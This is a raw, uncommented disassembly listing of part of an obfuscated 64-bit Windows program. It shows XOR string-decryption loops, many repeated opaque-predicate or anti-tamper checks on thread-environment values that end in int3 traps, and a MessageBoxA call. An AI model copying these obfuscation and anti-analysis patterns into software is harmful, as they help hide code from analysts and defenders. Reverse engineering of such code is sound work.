movdqu xmmword [rbp + 0xbe0], xmm1
mov dword [rbp + 0xbf0], 0xe29ac476
mov dword [rbp + 0xbf4], 0xa78a1d14
mov dword [rbp + 0xbf8], 0x53f27481
xor eax, eax
mov byte [rbp + 0xbfc], al
mov rdi, r14
movabs r13, 0x1092e4720
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbd0]
lea rcx, [rbp + 0xbd0]
call fcn.140037e1c
xor al, dil
mov byte [rbp + rdi + 0xbd0], al
inc rdi
cmp rdi, 0x2c
jb 0x140029e70
mov byte [rbp + 0xbfc], r14b
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0x1200]
call fcn.140002568
mov rax, qword gs:[0x58]
cmp rax, r12
mov r13d, 0x8d664a41
jne 0x140029f6e
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029f4e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029f4e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029f6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a018
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029ff8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029ff8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a018
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
lea rcx, [rbp + 0xb00]
call fcn.14002848c
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140002678
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x11a0]
call fcn.140038f38
lea rcx, [rbp + 0xb00]
call fcn.140038e74
lea rcx, [rbp + 0xb00]
call fcn.140002b88
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a11f
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a0ff
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a0ff
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a11f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a1d8
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a1b8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a1b8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a1d8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov dword [rbp - 0x58], 0xd2505fc3
mov word [rbp - 0x54], 0xfa24
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
movabs r13, 0x1092e4720
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140037da4
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002a1f7
mov byte [rbp - 0x52], r14b
mov dword [rbp - 0x68], 0xd2504dda
mov word [rbp - 0x64], 0xfa24
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
mov rsi, r13
mov r13d, 0x8d664a41
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140037da4
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14002a244
mov byte [rbp - 0x62], r14b
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0x1200]
lea rcx, [rbp + 0xae0]
call fcn.1400391a8
lea rdx, [rbp + 0x11a0]
mov rcx, rax
call fcn.140038b80
mov rdx, rax
lea rcx, [rbp + 0xac0]
call fcn.140038cd4
lea rcx, [rbp - 0x58]
call fcn.1400026d0
mov rcx, rax
call fcn.140002678
mov r8, rax
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xac0]
call fcn.1400389c0
mov rdx, rax
lea rcx, [rbp + 0xaa0]
call fcn.140038cd4
lea rdx, [0x1400eea80]
lea rcx, [rbp + 0xaa0]
call fcn.140038b80
mov rdx, rax
lea rcx, [rbp + 0x11c0]
call fcn.140038cd4
lea rcx, [rbp + 0xaa0]
call fcn.140038e74
lea rcx, [rbp + 0xaa0]
call fcn.140002b88
lea rcx, [rbp + 0xac0]
call fcn.140038e74
lea rcx, [rbp + 0xac0]
call fcn.140002b88
lea rcx, [rbp + 0xae0]
call fcn.140038e74
lea rcx, [rbp + 0xae0]
call fcn.140002b88
mov rax, qword gs:[0x58]
cmp rax, r12
movabs rsi, 0x6d643a356b9160c0
jne 0x14002a3f9
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a3d9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a3d9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a3f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a4a3
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a483
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a483
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a4a3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
lea rcx, [rbp + 0x11a0]
call fcn.1400387e8
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009ec10
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a576
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a556
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a556
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a576
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a620
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a600
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a600
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x11e0]
call fcn.140002620
lea rcx, [rbp + 0x11e0]
call fcn.140038f10
nop
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a6e7
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a6c7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a6c7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a6e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a7a0
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a780
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a780
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a7a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
lea rcx, [rbp + 0x11c0]
call fcn.1400387e8
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x11e0]
mov rcx, rax
call fcn.140027ff4
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a86b
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a84b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a84b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a86b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov dword [rbp + 0x1e8], 0x129638e2
mov dword [rbp + 0x1ec], 0xd35dae7f
mov dword [rbp + 0x1f0], 0xa5285099
xor eax, eax
mov byte [rbp + 0x1f4], al
mov rdi, r14
movabs rbx, 0x1092e4720
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e8]
lea rcx, [rbp + 0x1e8]
call fcn.140037d2c
xor al, dil
mov byte [rbp + rdi + 0x1e8], al
inc rdi
cmp rdi, 0xc
jb 0x14002a89e
mov byte [rbp + 0x1f4], r14b
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x11e0]
call fcn.1400394c4
test al, al
je 0x14002ae59
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002a99e
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a97e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a97e
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a99e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfdd0]
movdqu xmmword [rbp + 0x7c0], xmm0
mov dword [rbp + 0x7d0], 0x6af6c2e2
mov word [rbp + 0x7d4], 0x78e5
xor eax, eax
mov byte [rbp + 0x7d6], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7c0]
lea rcx, [rbp + 0x7c0]
call fcn.140037c40
xor al, dil
mov byte [rbp + rdi + 0x7c0], al
inc rdi
cmp rdi, 0x16
jb 0x14002a9cc
mov byte [rbp + 0x7d6], r14b
movdqa xmm0, xmmword [0x1400dfea0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400dfdc0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400dff70]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400dfe90]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400dff40]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400e0090]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400dfec0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400dff60]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xf6bee32d
mov word [rbp + 0xde4], 0x57e5
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
movabs rsi, 0x1092e4720
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140037cb4
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14002aab4
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7c0]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x58]
cmp rax, r12
movabs rsi, 0x6d643a356b9160c0
jne 0x14002abbd
mov rcx, qword gs:[8]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[8]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[8]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ab9d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ab9d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002abbd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002ac78
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ac58
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ac58
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ac78
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
cmp edi, 7
je 0x1400379b3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002ad2b
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ad0b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ad0b
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ad2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfed0]
movdqu xmmword [rbp + 0xc30], xmm0
movdqa xmm1, xmmword [0x1400dfe70]
movdqu xmmword [rbp + 0xc40], xmm1
movdqa xmm0, xmmword [0x1400dfd00]
movdqu xmmword [rbp + 0xc50], xmm0
mov rdi, r14
movabs rbx, 0x1092e4720
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc30]
lea rcx, [rbp + 0xc30]
call fcn.140037bcc
xor al, dil
mov byte [rbp + rdi + 0xc30], al
inc rdi
cmp rdi, 0x2f
jb 0x14002ad68
mov byte [rbp + 0xc5f], r14b
lea rcx, [rbp + 0xc30]
call fcn.1400a213c
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002ae59
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ae39
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ae39
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ae59
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov edi, 0x4948ce87
cmp rax, r12
jne 0x14002af16
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aef6
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aef6
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002af16
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
lea rdx, [rbp + 0x11e0]
lea rcx, [rbp + 0xa80]
call fcn.140038d30
mov rdx, rax
lea rcx, [rbp + 0xa60]
call fcn.1400285d4
mov rdx, rax
lea rcx, [rbp + 0x11e0]
call fcn.140038c0c
lea rcx, [rbp + 0xa60]
call fcn.140038e74
lea rcx, [rbp + 0xa60]
call fcn.140002b88
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b009
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002afe9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002afe9
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b009
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b0c2
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b0a2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b0a2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b0c2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
xor edx, edx
lea rcx, [rbp + 0x1200]
call fcn.140038ee4
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b17a
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b15a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b15a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b17a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b233
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b213
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b213
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b233
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rcx, qword [rbp + 0x11f0]
call fcn.1400a25ac
mov rbx, rax
mov qword [rbp - 0x20], rax
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b2ff
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b2df
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b2df
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b2ff
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b3a9
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b389
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b389
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b3a9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov r15, qword [rbp + 0x11f0]
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b45a
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b43a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b43a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b45a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
test rbx, rbx
je 0x140037695
cmp qword [rbp + 0x11f0], r14
je 0x140037695
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b51a
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b4fa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b4fa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b51a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rdi, qword [rbp + 0x11f0]
lea rcx, [rbp + 0x11e0]
call fcn.1400387e8
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400c07a0
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002b5f8
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
